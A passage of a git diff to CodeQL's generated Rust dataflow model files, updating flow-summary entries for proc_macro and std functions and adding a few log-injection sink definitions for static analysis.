"::expand_expr", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:proc_macro", "::expand_expr", "Argument[self].Field[crate::TokenStream(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Group(0)]", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Ident(0)]", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Literal(0)]", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Punct(0)]", "value", "dfc-generated"] + - ["lang:proc_macro", "::from", "Argument[0].Field[crate::bridge::rpc::PanicMessage::StaticStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:proc_macro", "::from", "Argument[0].Field[crate::bridge::rpc::PanicMessage::String(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:proc_macro", "::from_single", "Argument[0]", "ReturnValue.Field[crate::bridge::DelimSpan::close]", "value", "dfc-generated"] - ["lang:proc_macro", "::from_single", "Argument[0]", "ReturnValue.Field[crate::bridge::DelimSpan::entire]", "value", "dfc-generated"] - ["lang:proc_macro", "::from_single", "Argument[0]", "ReturnValue.Field[crate::bridge::DelimSpan::open]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Diagnostic::level]", "ReturnValue.Field[crate::bridge::Diagnostic::level]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Group::delimiter]", "ReturnValue.Field[crate::bridge::Group::delimiter]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Ident::is_raw]", "ReturnValue.Field[crate::bridge::Ident::is_raw]", "value", "dfc-generated"] - ["lang:proc_macro", "::mark", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::unmark", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Literal::kind]", "ReturnValue.Field[crate::bridge::Literal::kind]", "value", "dfc-generated"] - ["lang:proc_macro", "::mark", "Argument[0]", "ReturnValue.Field[crate::bridge::Marked::value]", "value", "dfc-generated"] - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Marked::value]", "ReturnValue", "value", "dfc-generated"] - - ["lang:proc_macro", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:proc_macro", "::decode", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Punct::ch]", "ReturnValue.Field[crate::bridge::Punct::ch]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Punct::joint]", "ReturnValue.Field[crate::bridge::Punct::joint]", "value", "dfc-generated"] - ["lang:proc_macro", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::attr", "Argument[0]", "ReturnValue.Field[crate::bridge::client::ProcMacro::Attr::name]", "value", "dfc-generated"] - ["lang:proc_macro", "::bang", "Argument[0]", "ReturnValue.Field[crate::bridge::client::ProcMacro::Bang::name]", "value", "dfc-generated"] @@ -70,9 +80,7 @@ extensions: - ["lang:proc_macro", "::name", "Argument[self].Field[crate::bridge::client::ProcMacro::Bang::name]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::name", "Argument[self].Field[crate::bridge::client::ProcMacro::CustomDerive::trait_name]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:proc_macro", "::clone", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:proc_macro", "::clone", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:proc_macro", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:proc_macro", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -118,3 +126,17 @@ extensions: - ["lang:proc_macro", "crate::bridge::client::state::set", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "crate::bridge::client::state::set", "Argument[1]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:proc_macro", "crate::bridge::client::state::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:proc_macro", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::new_raw", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f32_suffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f32_unsuffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f64_suffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f64_unsuffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::new_ident", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-std.model.yml b/rust/ql/lib/ext/generated/rust/lang-std.model.yml index 00d31391a4d..39f57b3b83d 100644 --- a/rust/ql/lib/ext/generated/rust/lang-std.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-std.model.yml @@ -11,6 +11,9 @@ extensions: - ["lang:std", "<&[u8] as crate::io::Read>::read_to_end", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] - ["lang:std", "<&[u8] as crate::io::Read>::read_to_string", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] - ["lang:std", "<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] + - ["lang:std", "<&crate::collections::hash::set::HashSet as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "<&crate::collections::hash::set::HashSet as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "<&crate::collections::hash::set::HashSet as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "<&crate::io::stdio::Stdin as crate::io::Read>::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "<&crate::io::stdio::Stdin as crate::io::Read>::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "<&crate::io::stdio::Stdin as crate::io::Read>::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] @@ -29,72 +32,38 @@ extensions: - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::Entry::Occupied(0)]", "ReturnValue.Field[crate::collections::hash::map::Entry::Occupied(0)]", "value", "dfc-generated"] - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::Entry::Vacant(0)]", "ReturnValue.Field[crate::collections::hash::map::Entry::Vacant(0)]", "value", "dfc-generated"] - ["lang:std", "::insert_entry", "Argument[self].Field[crate::collections::hash::map::Entry::Occupied(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::HashMap::base].Reference", "ReturnValue.Field[crate::collections::hash::map::HashMap::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::HashMap::base]", "ReturnValue.Field[crate::collections::hash::map::HashMap::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::HashMap::base]", "ReturnValue.Field[crate::collections::hash::map::HashMap::base]", "value", "dfc-generated"] - - ["lang:std", "::raw_entry", "Argument[self]", "ReturnValue.Field[crate::collections::hash::map::RawEntryBuilder::map]", "value", "dfc-generated"] - - ["lang:std", "::raw_entry_mut", "Argument[self]", "ReturnValue.Field[crate::collections::hash::map::RawEntryBuilderMut::map]", "value", "dfc-generated"] - ["lang:std", "::try_insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::hash::map::OccupiedError::value]", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Iter::base].Reference", "ReturnValue.Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Iter::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::RawEntryMut::Occupied(0)]", "ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Occupied(0)]", "value", "dfc-generated"] - - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::RawEntryMut::Vacant(0)]", "ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Vacant(0)]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Keys::inner].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Keys::inner].Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Keys::inner].Reference", "ReturnValue.Field[crate::collections::hash::map::Keys::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Keys::inner]", "ReturnValue.Field[crate::collections::hash::map::Keys::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Values::inner].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Values::inner].Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Values::inner].Reference", "ReturnValue.Field[crate::collections::hash::map::Values::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Values::inner]", "ReturnValue.Field[crate::collections::hash::map::Values::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Difference::iter].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Difference::iter].Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Difference::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::Difference::iter]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Difference::iter]", "ReturnValue.Field[crate::collections::hash::set::Difference::iter]", "value", "dfc-generated"] - ["lang:std", "::insert", "Argument[self].Field[crate::collections::hash::set::Entry::Occupied(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::HashSet::base].Reference", "ReturnValue.Field[crate::collections::hash::set::HashSet::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::HashSet::base]", "ReturnValue.Field[crate::collections::hash::set::HashSet::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::HashSet::base]", "ReturnValue.Field[crate::collections::hash::set::HashSet::base]", "value", "dfc-generated"] - ["lang:std", "::difference", "Argument[0]", "ReturnValue.Field[crate::collections::hash::set::Difference::other]", "value", "dfc-generated"] - ["lang:std", "::intersection", "Argument[0]", "ReturnValue.Field[crate::collections::hash::set::Intersection::other]", "value", "dfc-generated"] - ["lang:std", "::intersection", "Argument[self]", "ReturnValue.Field[crate::collections::hash::set::Intersection::other]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Intersection::iter].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Intersection::iter].Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Intersection::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::Intersection::iter]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Intersection::iter]", "ReturnValue.Field[crate::collections::hash::set::Intersection::iter]", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Iter::base].Reference", "ReturnValue.Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Iter::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter]", "ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter].Reference", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter]", "ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter]", "value", "dfc-generated"] - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Union::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::Union::iter]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Union::iter]", "ReturnValue.Field[crate::collections::hash::set::Union::iter].Reference", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Union::iter]", "ReturnValue.Field[crate::collections::hash::set::Union::iter]", "value", "dfc-generated"] - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Report::error]", "value", "dfc-generated"] - ["lang:std", "::pretty", "Argument[0]", "Argument[self].Field[crate::error::Report::pretty]", "value", "dfc-generated"] - ["lang:std", "::pretty", "Argument[0]", "ReturnValue.Field[crate::error::Report::pretty]", "value", "dfc-generated"] @@ -108,12 +77,14 @@ extensions: - ["lang:std", "::as_encoded_bytes", "Argument[self].Field[crate::ffi::os_str::OsStr::inner].Field[crate::sys::os_str::bytes::Slice::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::display", "Argument[self]", "ReturnValue.Field[crate::ffi::os_str::Display::os_str]", "value", "dfc-generated"] - ["lang:std", "::borrow", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::ffi::os_str::OsString::inner].Reference", "ReturnValue.Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::ffi::os_str::OsString::inner]", "ReturnValue.Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] - ["lang:std", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::path::PathBuf::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::deref", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::deref_mut", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_vec", "Argument[self].Field[crate::ffi::os_str::OsString::inner].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::from_str", "Argument[0].Field[crate::path::PathBuf::inner]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::ffi::os_str::OsString::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_os_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -129,7 +100,6 @@ extensions: - ["lang:std", "::as_inner", "Argument[self].Field[crate::fs::File::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::fs::File::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::fs::File::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::set_created", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner_mut", "Argument[self].Field[crate::fs::FileTimes(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::set_accessed", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -164,19 +134,22 @@ extensions: - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::Chain::first]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::Chain::second]", "ReturnValue.Field[1]", "value", "dfc-generated"] - - ["lang:std", "::advance_slices", "Argument[0].Reference.Element", "Argument[0].Reference.Reference", "value", "dfc-generated"] - - ["lang:std", "::advance_slices", "Argument[0].Reference.Element", "Argument[0].Reference.Reference", "value", "dfc-generated"] - ["lang:std", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::lower_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::upper_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::min_limit", "Argument[self].Field[crate::io::Take::limit]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::taken", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::io::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::Take::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::limit", "Argument[self].Field[crate::io::Take::limit]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::set_limit", "Argument[0]", "Argument[self].Field[crate::io::Take::limit]", "value", "dfc-generated"] - ["lang:std", "::write", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::write_all", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::write_all_vectored", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::write_vectored", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::error", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::error", "Argument[self].Field[crate::io::buffered::IntoInnerError(1)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_error", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] @@ -187,10 +160,12 @@ extensions: - ["lang:std", "::consume", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::read_buf", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::read_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_vectored", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::seek_relative", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner]", "ReturnValue", "value", "dfc-generated"] @@ -211,10 +186,14 @@ extensions: - ["lang:std", "::with_buffer", "Argument[1]", "ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::buf]", "value", "dfc-generated"] - ["lang:std", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::buffered::bufwriter::WriterPanicked::buf]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_mut", "Argument[self].Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "value", "dfc-generated"] - ["lang:std", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::io::buffered::linewritershim::LineWriterShim::buffer]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::io::cursor::Cursor::inner].Reference", "ReturnValue.Field[crate::io::cursor::Cursor::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::io::cursor::Cursor::inner]", "ReturnValue.Field[crate::io::cursor::Cursor::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::io::cursor::Cursor::pos]", "ReturnValue.Field[crate::io::cursor::Cursor::pos]", "value", "dfc-generated"] - ["lang:std", "::clone_from", "Argument[0].Field[crate::io::cursor::Cursor::inner]", "Argument[self].Field[crate::io::cursor::Cursor::inner].Reference", "value", "dfc-generated"] - ["lang:std", "::clone_from", "Argument[0].Field[crate::io::cursor::Cursor::inner]", "Argument[self].Field[crate::io::cursor::Cursor::inner]", "value", "dfc-generated"] - ["lang:std", "::clone_from", "Argument[0].Field[crate::io::cursor::Cursor::pos]", "Argument[self].Field[crate::io::cursor::Cursor::pos]", "value", "dfc-generated"] @@ -231,16 +210,25 @@ extensions: - ["lang:std", "::from", "Argument[0].Field[1]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::io::buffered::IntoInnerError(1)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::pipe::PipeReader(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::pipe::PipeWriter(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::lock", "Argument[self].Field[crate::io::stdio::Stderr::inner]", "ReturnValue.Field[crate::io::stdio::StderrLock::inner].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::lines", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::lock", "Argument[self].Field[crate::io::stdio::Stdin::inner]", "ReturnValue.Field[crate::io::stdio::StdinLock::inner].Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::read_line", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::fill_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::read_line", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_until", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["lang:std", "::as_mut_buf", "Argument[self].Field[crate::io::stdio::StdinLock::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::lock", 